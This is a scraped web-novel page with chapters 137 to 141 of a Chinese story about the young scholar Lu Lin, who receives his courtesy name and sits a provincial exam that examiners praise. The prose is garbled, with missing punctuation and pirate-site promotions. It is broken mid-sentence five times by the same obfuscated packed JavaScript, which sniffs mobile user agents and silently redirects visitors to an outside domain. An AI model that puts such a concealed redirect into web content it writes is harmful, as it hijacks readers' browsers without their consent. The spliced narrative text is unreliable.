少爷是被肉汤香气唤醒的。 他睡了很久再次睁开眼看到的是跳动的篝火和表哥林然熟悉的脸。 “表哥?” 林然坐在他对面将一碗温热的肉汤递了过来。 “醒了就喝点东西。” 少爷没有第一时间接而是猛地坐了起来动作太大牵扯到身上的伤口疼得他龇牙咧嘴。 可少爷此刻完全顾不上。 “快表哥带我回京都我有重要信息要汇报给我爷不能让庞将军白**。” 林然正在递碗的手在空中停住了。 看了一眼不远处正在警戒的几名手下太阳穴突突直跳立刻打断了少爷。 “权哥儿你说什么胡话先好好休息。” 少爷正要继续开口 说全网首发无弹窗免费阅读caixs**(请来才小 说 看最新章节 完整章节)却对上了林然的眼神。 少爷瞬间就闭上了嘴。 看了一眼表哥身后的那些小队成员一股寒意从尾椎骨直冲头顶。 自己太着急了。 连圣院直属的钦天监都出了问题还有谁能信? 还好表哥提醒了自己。 意识到问题的少爷这才接过碗大口大口地喝着肉汤胃里进了食驱散了些许寒意也让混乱的头脑清醒了许多。 一碗汤下肚林然才再次开口问起了少爷这段时间发生的事。 “这一路怎么过来的?” 少爷放下碗将这几日的经历一五一十地说了出来。 从镇北城破庞将军的亲兵如何拼死将他送出重围。 再到他如何躲进荒村的草堆里藏了三天三夜。 “最危险的一次是撞上了一支妖蛮的斥候小队五个人。” 少爷的声音有些后怕下意识地摸了摸腰间。 那里别着一柄造型奇特的兵器通体黝黑刃口弯曲。 第137章 卢璘,字琢之。 “我以为我死定了。” “是璘哥儿,是璘哥儿救了我。” 之后,他便一路小心翼翼地南下,不敢走官道,饿了就挖草根,渴了就喝泥水,最后实在撑不住,才混进了难民的队伍里。 林然静静地听着,没有插话。 直到少爷说完,他才缓缓点头。 “我还有任务在身,不能亲自送你回去。” “我会安排人,把你安全送到京都,先让柳阁老安心。” 少爷闻言顿时急了。 “不行!表哥,这事太大了,必须你亲自送我!” “我不信别人!” 林然若有所思看着少爷,没有说话。 少爷无疑是信得过表哥的,知道表哥不会害自己。 可表哥这个决定明显是另有打算。 可什么事比得上自己身上背负的大秘? 两人对视了许久,最终还是少爷妥协了。 林然转过头,对着不远处的一名缇骑招了招手。 “赵四。” 那名缇骑快步走了过来,对着林然一拱手。 “大人。” 林然指了指柳权,冷声道: “你的任务,就是把他安全送到柳阁老面前。” “要活的。” 赵四的脸上没有任何多余的表情,重重地点了点头。 “遵命。” 文庙街,卢家小院。 天气有些沉闷,乌云压得很低,随时都会落下雨来。 卢厚正在院里,帮着卢璘收拾出门前的行囊,将换洗衣物仔细叠好,各种李氏亲手准备的吃食小心翼翼地检查。 李氏则跟在卢璘身后,嘴里的话就没停过: “璘哥儿,夫子不让娘和你爹陪你去,你自个儿到了临安府,可千万要小心。” “吃的喝的都要注意,别在外面乱吃东西,盘缠也要放好了,知道吗?” 明天就是临安府院试的日子,府城路远,需得提前一天过去。 卢璘听着李氏的叮嘱,脸上没有半点不耐烦,反而笑着安抚自家老娘: “娘,你放心吧。” “再说了,我这又不是第一次参加科举,这院试,都第二回了。” 话音 刚落,李氏就急了,连忙伸手打断。 “呸呸呸! “瞎说什么呢,说得跟那些落榜学子似的。你上次那是意外,又不是学问不过关,再说了,你上次院试也没去成啊! 卢厚在一旁听着,也跟着出声:“东西都准备好了。 李氏闻言,还是有些不放心,又凑过去,事无巨细的一件件确认。 “吃的喝的都带够了没有,这天看着要下雨,雨具放好了没有? 确认了好几遍,李氏才算稍稍安心,她转过头,看向从屋里走出来的沈春芳。 “夫子,您看,还有没有什么要交代璘哥儿的? 沈春芳捋了捋胡须,脸上带着笑意,对着卢璘招了招手。 “璘哥儿,到我跟前来。 卢璘依言上前。 只见沈春芳从袖中取出一顶崭新的黑绸方巾,神情郑重: “璘哥儿,按古礼‘二十而冠’,你如今已十有六,本当待几年才行冠礼。 “不过院试在即,若这次榜上有名,便是秀才公了。 “岂能再以童子之名谒学政、见同侪? “今日,为师便破例为你提前赐字! 大夏朝的冠礼,不同阶层,年龄也各不相同。 寻常寒门子弟,大多遵循古礼,二十岁行冠礼。 而世家大族的子弟,则盛行早冠,十五六岁便已加冠。 卢璘情况又特殊些,虽是寒门出身,却未冠而显名,提前加冠,既是身份的象征,也方便日后社交应酬。 加冠赐字,本该由家中父亲或尊长主持。 沈春芳早已和卢厚商议过,卢厚一听是夫子要亲自给儿子加冠赐字,那是巴不得的好事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453187|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连连点头应下。 李氏站在一旁,看着眼前这一幕,忍不住感叹:“一转眼,璘哥儿都十六岁了,也不知道还能在身边陪我们几年。 角落里,一直没什么动静的郑宁,也悄悄竖起了耳朵,眼睛里透着期待,好奇沈春芳会给卢璘冠一个什么样的表字。 卢璘收敛心神,正色点头。 沈春芳神情肃穆,亲手为卢璘戴上那顶黑绸方巾,动作缓慢: “《仪礼》有云:‘冠而字之,敬其名也。’ “ 你单名一个‘璘’字,璘,美玉也。 “然玉不琢,不成器。今,为师予尔字‘琢之’,望尔如切如磋,如琢如磨,穷经悟道,不负此生! 琢之,琢之。 卢璘心中反复默念着这两字,明白了夫子寄予的厚望。 他整理衣冠,俯身,对着沈春芳行了一个长长的拜礼。 “学生,谨记夫子教诲。 “玉可碎而不可改其白,竹可焚而不可毁其节。 “今以‘琢之’为字,必不负师门砥砺之恩! 话音落下。 堂外阴沉许久的天空,云层竟被撕开一道口子。 一缕久违的天光穿过云隙,斜斜地映照卢璘身上。 天光斜落肩头,黑绸方巾下卢璘剑眉星目,气质温润。 明明一袭普通长衫,却难掩挺拔如竹的身姿。 此时一阵风吹过,掀起长衫时,也掀起了卢璘眼中欲与天公试比高的锋芒。 李氏看着眼前已经初具大人模样的儿子,又是欣慰又是心酸,悄悄抹了抹眼角。 卢厚则挺直了腰杆,脸上满是骄傲。 郑宁抱着胳膊,看着这一幕,用只有自己能听见的声音轻声念叨。 “卢璘,卢琢之。 沈春芳阖上双目,对着卢璘挥了挥袖。 “去罢! 卢璘直起身,从卢厚手上接过行囊,背在身上,脚步沉稳地走出了自家小院。 第138章 府试开考! 抵达临安府后,卢璘哪都没去,径直去了柳府别院。 在柳府别院静养心神一晚,将状态调整到了最佳。 翌日,天色刚蒙蒙亮。 卢璘迎着晨光,动身前往城北。 童试的最后一场,院试,其地点便设在圣院分院。 圣院之外,早已是人头攒动。 上百名衙役手持水火棍,面色严肃地维持着秩序,将考生与围观的家属隔开。 考生们则按照各自的籍贯,排成了一条条长龙,静静等候着入场前的检查。 这一次的检查与甄别,比府试时还要慎重。 点名官手中的名册上,不仅有考生的籍贯、年岁、三代履历,更有对其面貌特征的详细描述。 这些信息,全都经过了为考生作保的廪生亲自画押,几乎杜绝了任何舞弊作伪的可能。 卢璘排在队伍中,不急不躁,顺利通过了检查和甄别。 走进考场后,在引路衙役的带领下,找到了自己的号舍。 “乙四十二。” 号舍不大,仅能容纳一人一桌一椅。 很快,便有专人送来了笔、墨、纸、砚等一应考试用具。 卢璘将所有物品一一布置妥当,随后便闭上双眼,**养神,耐心等待着考试正式开始。 院试共考三场。 第一场与第二场,皆是四书五经题。 第三场,则是战诗词。 大约过了一炷香的时间,所有考生都已入场完毕。 远处传来一声嘹亮的唱喏。 “锁龙门!” “咣当!” 沉重的铁门缓缓关闭,考场彻底与外界隔绝。 紧接着,第一场的考题,以文气显化,映照在了所有号舍前的半空中。 “君子义以为质,礼以行之,孙以出之,信以成之。” 题目一出,原本安静的考场内,瞬间响起了一片压抑不住的哀嚎。 “居然这么冷僻.” “这这该如何破题?” “义、礼、孙、信,四者并举,头绪繁多,稍有不慎便会杂乱无章。” “考官出此题,未免也太刁钻了些。” 不少考生当场就白了脸,抓着头发,不知 从何下笔。 卢璘抬起头,看着半空中的那行字,波澜不惊。 小说全网首发无弹窗免费阅读caixs?(请来才 小说 看最新章节 完整章节) 这题看似繁复,实则是在考验考生对儒家核心义理的整体把握。 其深意,是想让考生深入阐述“义”“礼”、“孙”、“信”这四者之间层层递进、互为表里的内在联系。 同时,也是在批判那些将四者割裂开来,甚至曲解其本意的常见误读。 想明白了考官的用意,一篇策论的骨架,已在卢璘的脑海中逐渐成型。 他垂下眼帘,开始不紧不慢地研墨。 待到墨汁浓稠如漆,破题的思路也已彻底清晰。 卢璘提起笔,饱蘸浓墨。 笔尖悬于纸上,片刻停顿后,果断落下。 “君子之立身,无非一道四维:义主其本,礼导其行,孙养其德,信固其成。譬如筑室,义犹栋梁,礼乃规矩,孙若覆瓦,信则垣墉。四者缺一,则倾覆立待矣!” 开篇破题,直接将四者比作建造房屋的四大要素,立论稳固,气势开张。 这是立论,接下来,便是逐层深入的阐释。 卢璘笔锋一转,略作思索,便继续写了下去。 先是阐述以义为质。 “后世或谓‘义’止于刚直,此大谬也!《子》言‘羞恶之心’,即义之端,然必归乎中道。昔子产铸刑书,非刻薄也,义在‘救世’;管仲不死纠难,非怯懦也,义在‘安民’。故义者,非执一而终,实因时制宜。” 何为义? 不是一味地刚强正直,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453188|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是要合乎中道,要因时制宜。 子产和仲的例子,便是最好的佐证。 写完这一段,卢璘的思路愈发流畅。 接着,便是阐述礼以行之。 “礼之弊,或流于虚文。然君子之礼,必根于义。齐桓伐楚,责包茅不入,非恃强也,礼在尊王;晏婴狐裘三十年,非吝财也,礼在节用。若弃义而言礼,犹无舵之舟,虽饰金玉,终覆沧溟。” 这一段,他用了对比论证。 将齐公与晏婴的行为,都归于“礼”的范畴,但又指出,他们的“礼”都是根植于“义”的基础之上。 若是没有了“义”这个根本,所谓的“礼”,不过是无根的浮萍,最终只会流于虚伪的形式。 随后是反向推论解释孙以出之。 “今人误‘孙’为谄媚岂知圣人之‘孙’乃‘自卑而尊人’之德。禹闻善言则拜非屈己也孙以聚智;周公‘一沐三握发’非作伪也孙以待士。使无此德则礼成虚设义近苛暴。” 世人多将“孙”字也就是谦逊误解为谄媚。 卢璘直接点破了这一层误解。 禹拜善言周公待贤士这都不是卑躬屈膝而是为了汇聚智慧为了招揽人才。 如果没有这种谦逊的美德“礼”就会变成虚伪的摆设而“义”也会变得苛刻暴虐。 层层递进环环相扣。 最后卢璘提笔为整篇文章写下总结。 “‘君子之道造端乎夫妇’正谓此四者必践于微末。曾子守‘信’而临终易箦虽一竹席不敢欺;季札挂剑于墓虽死者不负言。故曰:义不立则礼伪 从宏大的家国叙事落笔于细微的个人品德。 曾易箦季札挂剑都是守信的典范。 信是君子立身的最后一道保障。 至此义、礼、孙、信四者之间的关系被阐述得淋漓尽致浑然一体。 落笔收锋。 卢璘轻轻吹干纸上的墨迹将考卷整齐地放在桌案一角。 第一场成。 第139章 经典辩题 卢璘轻轻拉动了桌角垂下的一根细绳,绳子末端的小铜铃发出声响。 不多时,一名衙役快步走到号舍外。 “何事?” “交卷。” 衙役有些意外,和卢璘确认了一句: “第一场,现在就交?” 这才过去多久?满打满算,一个时辰都不到。 往届院试,不是没有提前交卷的,可从未有过这么快的。 卢璘点了点头。 衙役不再多问,接过考卷,用白纸糊住了写有考生信息的卷头。 临走前,还是按规矩交代了一句。 “考生可在号舍内休息,也可前往厕号,但切勿喧哗,不得打扰他人。” 卢璘颔首示意,却没有动。 重新闭上双眼,调整呼吸,默默恢复消耗的才气。 时间一点点过去。 当号舍外传来“第一场毕,收卷”的唱喏声时,整个考场都响起了一片如释重负的叹息。 不少考生冲出号舍,直奔厕号,更多的则是拿出家人准备的食盒,狼吞虎咽。 卢璘这才睁开眼,体内的才气已然恢复圆满。 他没有起身,从行囊里拿出两张李氏烙的干饼,就着水袋里的清水,不紧不慢地吃了起来。 不多时,第二场考试开始的钟声响起。 所有考生也早已回到自己的号舍等候。 半空中,第一场的考题散去,新的字迹缓缓浮现。 “《诗》云:“天生烝民,有物有则。” “而《书》曰:“人心惟危,道心惟微。” “既言天道有序,何以人心难测?” 题目一出,刚刚才缓过一口气的考场,哀嚎声比第一场时还要响亮。 “天道”与“人心”的对立,这是儒学经义中最为经典的辩题之一,也是最难写出新意的题目。 “天生烝民,有物有则”,意思是上天生育万民,万事万物都有其规律。 “人心惟危,道心惟微”,意指人心充满了私欲而危险难安,而天理道心却精微难明。 这两句经文,一边强调天理井然有序,一边又警示人心险恶难测,本身就充满了矛盾。 考官出此题,其一,是想看考 生如何矛盾的经义中自洽其说。 其二,也是更深的一层,是想考察考生对于儒学核心的性善论与工夫论,到底有何等程度的把握。 寻常考生答这题,最容易犯的错误,便是空谈“天人合一 片面地强调人性本善,却忽略了现实中人性的复杂与幽暗,最终流于空疏,拿不出具体的修身之法。 这题,对别人不好答。 但对卢璘而言,却是正中下怀。 这道题的内核,与《圣策九字》中关于“慎独的阐述,几乎是异曲同工。 以慎独修身之法,来化解天道与人心的矛盾,再合适不过。 卢璘略作思索,一篇完整的策论已在胸中。 他再次提笔,蘸满浓墨。 这一次,没有丝毫停顿,笔锋直落纸面。 “天以阴阳化育万物,故‘有物有则’;人以私欲蔽其本心,故‘惟危惟微’。然则《学》言‘格物致知’,《子》谓‘求其放心’,正为去人欲以全天理。是知天道不欺,人心自扰;克己复礼,则危者安、微者著矣。 开篇,直击要害。 先是揭示了矛盾的根源所在:并非天道有亏,而是人心被私欲蒙蔽。 而后直接给出解决之法:通过“格物致知“求其放心的修身功夫,去除私欲,回归天理。 如此,危险的人心便能安定,精微的道心便能彰显。 立论既定,接下来便是层层深入的阐述,将“慎独的功夫,化为统一矛盾的路径。 “《易》曰:‘一阴一阳之谓道,继之者善也,成之者性也。’天理昭昭,其本为善,此万古不易之理。然‘仁者见之谓之仁,知者见之谓之知’,人心观道,各执一端,遂生偏颇。 天理本身是绝对的“善,但人心在认知天理时,会因为各自的局限性而产生偏差,这就是“危的开始。 “然《书》亦云:‘人者,天地之心也。’此言人虽有私欲之蔽,却自有复归天理之能。 此能,存于戒慎恐惧之中,存于主敬涵养之内,存于穷理尽性之末。 紧接着,卢璘笔锋一转,开始阐述慎独的三重境界。 从最初级的“戒慎恐惧,即在无人监督之时也心存敬畏,不敢放纵 。 到第二重的“主敬涵养,将这份敬畏之心化为日常,时刻保持内心的庄敬,涵养德性。 再到最终的“穷理尽性,通过不断探究事物的原理,来彻底明了自己的本性,最终达到天人合一。 这三重境界,便是从“危到“安,从“微到“著的完整路径。 理论阐述完毕,卢璘笔力更健,为整篇文章写下结语。 “故圣人不废天道以惧人心,不诎人心以疑天道。治心之要,在去其蔽而已。 “譬之烛幽,火本明而烟蔽之,去烟非灭火也,复其明而已矣! 圣人不会因为人心的危险就否定天道的存在,也不会因为道心的精微就怀疑人心的向善之能。 治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453189|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理人心的关键,就在于去除那些蒙蔽本心的私欲罢了。 这个过程,就好比在暗室中点燃蜡烛。 火焰本来是光明的,却被黑烟遮蔽了光芒。 我们要做的是想办法把黑烟驱散,而不是把火焰熄灭。 只要驱散了黑烟,光明自然就会重新显现。 落笔,收锋。 第二场,成。 卢璘放下笔,整个人却久久未动。 这篇策论,几乎是他两世为人,对于儒学修身工夫的最高理解。 另一边。 考场最深处的文光阁内,几名考官正襟危坐。 学政魏长青作为此次主考官,坐在主位之上。 一名衙役捧着一叠糊名考卷,快步走了进来,恭敬地放在了魏长青的桌案上。 “大人,这是第一场考生试卷。 魏长青身旁的一名老考官捋了捋胡须,轻笑一声。 “大人,这次的考生中不乏才学出众者,更有卢案首这等人物,要不我们提前阅卷? 魏长青对卢璘的考卷也有些好奇,点了点头,决定提前阅卷。 也不知道什么时候能从这堆考卷中,看到卢璘的回答。 想着,魏长青直接从那叠考卷的最上面,把第一张考卷拿在手上。 没有拆开糊名的封条,目光直接落在卷上。 只看了一眼开篇,魏长青的动作便顿住了。 “君子之立身,无非一道四维:义主其本,礼导其行 孙养其德信固其成……” 他逐字逐句地看了下去脸上的表情从最初的平静渐渐变为凝重。 最后化为一抹难以言喻的激赏。 当看到“若弃义而言礼犹无舵之舟虽饰金玉终覆沧溟”一句时魏长青的手指在桌案上轻轻敲击。 待到通篇读完魏长青沉默了许久。 一旁的考官等得有些着急凑过头来随口问了一句: “魏大人如何?” 魏长青没有回答而是将考卷递了过去。 “诸位都看看吧。” 几名考官轮流传阅下一刻阵阵惊呼声响起。 “好!好一个‘义在救世义在安民’!” “此子论礼更是鞭辟入里直指虚文之弊!” “这等见识这等文笔怕是……” 一名考官话说到一半看向魏长青脸上满是惊叹。 “魏大人此等大才不知” 魏长青将目光移向糊名的卷头用手一撕糊名的封条应声而落显示出这篇考卷的考生信息。 考官们目光齐刷刷地看了过去。 “清河卢璘 第140章 儒生何以振国! 第二场考毕的钟声落下,卢璘再次交卷。 他依旧没有离开号舍,继续闭目调息,等待着最后一场。 一个时辰后,考场内再次响起钟声。 第三场,开始。 半空中,第二场的考题缓缓散去,一行行血色字迹,带着一股肃杀之气,映照半空。 “昭宁三十年春,妖蛮攻破镇北城,十万边军覆没,镇北城沦为炼狱,一月之内,妖蛮连破五关,所过之处,寸草不生。 钦天监紫薇帝星黯淡,文庙圣像流泪,天下书生才气滞涩,妖气直指京都。 妖蛮破关,山河染血,狂澜既到,儒生何以振国。” 题目出现的瞬间,整个考场死一般的寂静。 所有考生都呆住了。 这不是引经据典的策论,也不是考验义理的经义。 这是时务战诗词。 更是将整个大夏王朝正在面临的危局,直接摆在了所有人的面前。 不是模拟,不是假设。 卢璘看着那一行行血字,脸色无比凝重。 想起了生死不知的少爷,想起了庞盛将军,想到了镇北城中那数十万被屠戮的百姓。 想到妖蛮铁骑正长驱直入,兵锋直指京都。 想到这些,卢璘只觉胸口堵得慌。 一股难以抑制的郁结之气,在胸中激荡。 狂澜既到,儒生何以振国? 卢璘心有所感,提起笔,饱蘸浓墨。 “《从军行》 烽火照西京,心中自不平。 牙璋辞凤阙,铁骑绕龙城。 雪暗凋旗画,风多杂鼓声。 宁为百夫长,胜作一书生。” 写完最后一个字,卢璘停笔,闭上双眼。 胸中那股郁结之气,随着这首《从军行》倾泻而出。 …… 与此同时 文光阁内。 魏长青和几位考官,已经将第一场的所有考卷审阅完毕。 “卢璘此卷,当为甲上,诸位可有异议?” 魏长青将卢璘的卷子放在最上面,转头询问其他考官的意见。 “毫无异议。” “此等文章,便是放在会试,亦是上上之选。” “老夫阅卷数十年,未曾见过如此才气纵横的开篇。 几位考官纷纷点头,对这个结果没有任何异议。 魏长青点了点头,示意衙役将第二场的考卷呈上来。 一名考官接过卷子,随口感叹了一句: “第二场考题,天道与人心,此题看似寻常,实则最难出新意。 “不错,不是空谈天人合一,便是陷入性善性恶的窠臼,能将其中矛盾阐述清晰者,百中无一。 魏长青没有说话。 他对卢璘写过的那篇《圣策九字》早已烂熟于心,知道卢璘对儒家修身工夫的理解,远超常人。 这道题对别人来说是难,可对卢璘而言,或许并非如此。 魏长青倒是很期待,卢璘又会给出怎样的回答。 只可惜,这一次运气似乎没那么好。 一连阅了十几份考卷,魏长青的眉头越皱越紧。 这些考卷,大多流于表面,要么片面强调人性本善,忽略现实,要么夸大人性之恶,否定向善的可能,论证粗疏,毫无新意。 看得人昏昏欲睡。 魏长青放下手中的笔,揉揉眉心,正准备略作休息。 一声压抑不住的惊呼,从身旁传来。 “妙!太妙了! 只见一名老考官捧着一份考卷,激动的手都有些发抖,满脸涨红。 “这等破题之法,当为甲上! “而且对我儒学核心的性善论与工夫论有极深的掌握,难不成是大儒亲传弟子不成? 魏长青闻言精神一振,立刻来了兴趣,快步走到那名考官身后,朝着考卷上看去。 只一眼,他的呼吸便停滞了。 “天以阴阳化育万物,故‘有物有则’;人以私欲蔽其本心,故‘惟危惟微’。然则《学》言‘格物致知’,《子》谓‘求其放心’,正为去人欲以全天理。是知天道不欺,人心自扰;克己复礼,则危者安、微者著矣。 这开篇! 这破题的思路! 魏长青眉头一挑,刚才还昏昏欲睡的状态全消,整个人顿时精神抖擞。 一旁的老考官还沉浸在激动之中,嘴里喃喃自语:“此等见地,将‘天道’与‘人心’之矛盾,归于‘私欲 ’之蔽,又以‘格物’、‘求心’为解法,直指儒学修身之根本!非大儒亲传,绝无此等笔力! 大儒亲传? 魏长青心中暗自摇头。 这等对儒学修身工夫的理解,这等将“慎独之法融入经义策论的思路,整个临安府,不,放眼整个大夏的年轻一辈,也只有一人。 一个名字,清晰地浮现在他的脑海中。 根本无需拆开那糊名的封条。 “拿来我看看。 魏长青从考官手中接过考卷,其他几位考官也纷纷围了过来,都想一睹这篇惊艳了同僚的策论。 魏长青没有立刻将文章内容展示给众人,而是将手指搭在了糊名纸上。 轻轻一撕。 封条应声而落。 一行刚劲有力的字迹,显露出来。 “清河卢璘,字琢之。 “果然是他! “卢案首!竟又是他! “果然是为我大夏读书人扬名的卢案首。 文光阁内,响起阵阵惊叹。 “琢之?这个表字越看越有味。 “冠而字之,看来此子对这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453190|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院试,是志在必得啊。 议论声中,魏长青心神又落回了考卷的正文。 开篇已是石破天惊,那后面的论述,又会是何等光景? 他迫不及待地看了下去。 “《易》曰:‘一阴一阳之谓道,继之者善也,成之者性也。’天理昭昭,其本为善,此万古不易之理。然‘仁者见之谓之仁,知者见之谓之知’,人心观道,各执一端,遂生偏颇。 好! 从天理本善,论证到人心之偏。 逻辑严密,无懈可击。 一名考官忍不住拊掌赞叹:“说得好!天理本善,是人心观之有偏,才生出‘惟危’之险!此论,正本清源! 魏长青没有出声,继续往下看。 “然《书》亦云:‘人者,天地之心也。’此言人虽有私欲之蔽,却自有复归天理之能。此能,存于戒慎恐惧之中,存于主敬涵养之内,存于穷理尽性之末。 三重境界! 由浅入深,层层递进! 从最基础的独处时心存敬畏,到日常中涵养德性 再到最终的穷尽事理、明心见性! 这哪里是在答题这分明是在为天下所有读书人指出了一条清晰无比的修身之路! 魏长青只觉得一股热流从胸口直冲头顶。 他继续看下去看到了最后的结语。 “故圣人不废天道以惧人心不诎人心以疑天道。治心之要在去其蔽而已。” “譬之烛幽火本明而烟蔽之去烟非灭火也复其明而已矣!” 最后一句比喻如洪钟大吕让全场噤声。 去烟非灭火! 复其明而已! 简单直接却又蕴含着至理! 将困扰了儒生千百年的“天人”之辩剖析得淋漓尽致再无半点含糊。 文光阁内陷入了一片死寂。 所有考官都呆呆地看着那份考卷久久无言。 他们审阅过无数文章见过太多华丽的辞藻各种引经据典的炫技。 可从未见过一篇策论能将深奥义理用如此朴素直白的方式阐述得如此透彻。 良久一名考官长长地吐出了一口气打破了沉默。 “天下谁人不识君” 这名考官低声念着卢璘的《别庞盛》而后抬起头环视众人一字一顿地说道:“这就是卢案首啊!” “名不虚传!当真是名不虚传啊!” “有此一人我临安府文脉永昌!” “何止是临安府!” “此等文章此等见地便是放在京都的会试之上也足以名列前茅!‘去烟非灭火’ “甲上!此卷若非甲上我等还有何颜面坐在这里!” 赞叹之声此起彼伏。 魏长青将考卷轻轻放在桌案的最上方与其他考卷分离开来。 这份卷子已无需再议。 第141章 临安风骨 就在这时,一名衙役捧着一叠考卷,快步走了进来,恭敬地放在了魏长青的桌案上。 “大人,第三场的考卷送来了。” 文光阁内,还沉浸在卢璘第二场策论中的几位考官,闻言才回过神来。 “哦?第三场来了!” “这么快?” “是咱们阅卷入神了,都忘了时间了!” “第三场是战诗词!” 一名考官反应过来,脸上顿时浮现期待兴奋:“诸位同僚,战诗词来了!” 此言一出,包括魏长青在内,所有人的精神都是一振。 谁不知道卢璘的战诗词早已名动天下,京都千金难求。 京都佛门斗法,一首《正气歌》言出法随,压得西域诸国高僧抬不起头。 渡口送别,一首《别庞盛》,“天下谁人不识君”,更是将送别诗写出了前所未有的新高度。 不知道这一次,面对妖蛮破关,山河染血的危局,这位卢案首,又会写出何等篇章。 一名考官迫不及待地从小吏手上接过答卷,笑着对众人开玩笑道:“诸位同僚,咱们一人一部分,看看谁有好运气,能先睹卢琢之的答卷为快!” “好!” 众人欣然答应,纷纷从衙役手上接过考卷,开始埋头翻阅。 魏长青也拿过一叠,心中同样存了几分期待,看看自己能否有这个好运,抽中卢璘的考卷。 文光阁内再次安静下来,所有人都聚精会神,仔细批阅着手中的每一份战诗词。 时间一点点过去。 魏长青批阅完了手上这一份,正准备拿起下一份,满怀期待地想看看是不是卢璘的考卷时,身边突然传来一声压抑不住的惊呼。 “诸位同僚,快看!” “看来卢案首的考卷,被我抽中了!” 此言一出,魏长青等人齐刷刷地望了过去。 只见那名考官激动得满脸通红,将手上的考卷高高举起,声音略带颤抖将战诗词念了出来。 “十年锈甲裹诗囊,夜半吹角裂帛章。” “雪压孤城星欲坠,墨泼残甲字生芒。” “已悬肝胆示日月,何惧骸骨垒边疆。” “今宵灯烬硝烟里,血写春秋又一行 !” 诗句念完,这名考官言之凿凿地说道:“此等风骨,此等气魄,必是卢案首得佳作!” “这风格,和此前卢案首在县试、府试上写出的《破阵子》与《满江红》,何其相似!” “而且此诗异象至少有三处,已达府级,绝非寻常童生可作,定是卢案首无疑了!” 其他几位考官闻言,也纷纷点头。 “不错,的确是卢案首的风格,如出一辙。” “都是以文载武的路数,字里行间透着一股雄浑铁血之气。” “‘已悬肝胆示日月,何惧骸骨垒边疆’,好句!这正是寒门书生面对国难,那种破釜沉舟,一往无前的决绝!” 魏长青听着,也觉得极有道理。 这首诗确实有卢璘浓重的个人风格,那种出身寒微却心怀天下的悲壮,血染沙场的豪情,都体现得淋漓尽致。 这名考官见众人皆无异议,脸上满是得意,正准备伸手揭开糊名的封条,向众人验证自己的判断。 就在这时,另一位考官满是激动的大喊声,骤然响起。 “且慢!” “诸位,且看我这首!” 众人循声望去,那名考官霍然起身,满脸动容。 他深吸一口气,开始念诵。 “《从军行》” 三个字出口,便让在场众人心头一震。 紧接着,诗句如金戈铁马,破空而来。 “烽火照西京,心中自不平。” “牙璋辞凤阙,铁骑绕龙城。” “雪暗凋旗画,风多杂鼓声。” “宁为百夫长,胜作一书生。” 诗句念完,整个文光阁,鸦雀无声。 落针可闻。 所有人都被最后一句“宁为百夫长,胜作一书生”给震住了。 这是何等的决绝! 何等的担当! 身为读书人,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453191|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊出宁可舍弃功名,去当一个微末的百夫长,也要保家卫国! 良久。 魏长青默默地走到那位考官面前,拿过那张写着《从军行》的考卷。 他没有看诗,而是直接撕开了卷头的糊名封条。 一行刚劲有力的字迹,显露在众人面前。 说更新,记住域名caixs.com**(请来才小 说 看最新章节 完整章节) “清河卢璘,字琢之。 “这才是卢案首! 一众考官岂会没有判断能力? 两首诗放在一起,高下立判。 第一首诗固然豪迈,风格也极像卢案首,但终究写的是读书人自己的抱负与决绝,立意还是在“我。 可这首《从军行》,却另辟蹊径,完全跳出了读书人自身的视角。 它是在呐喊,是在号召! 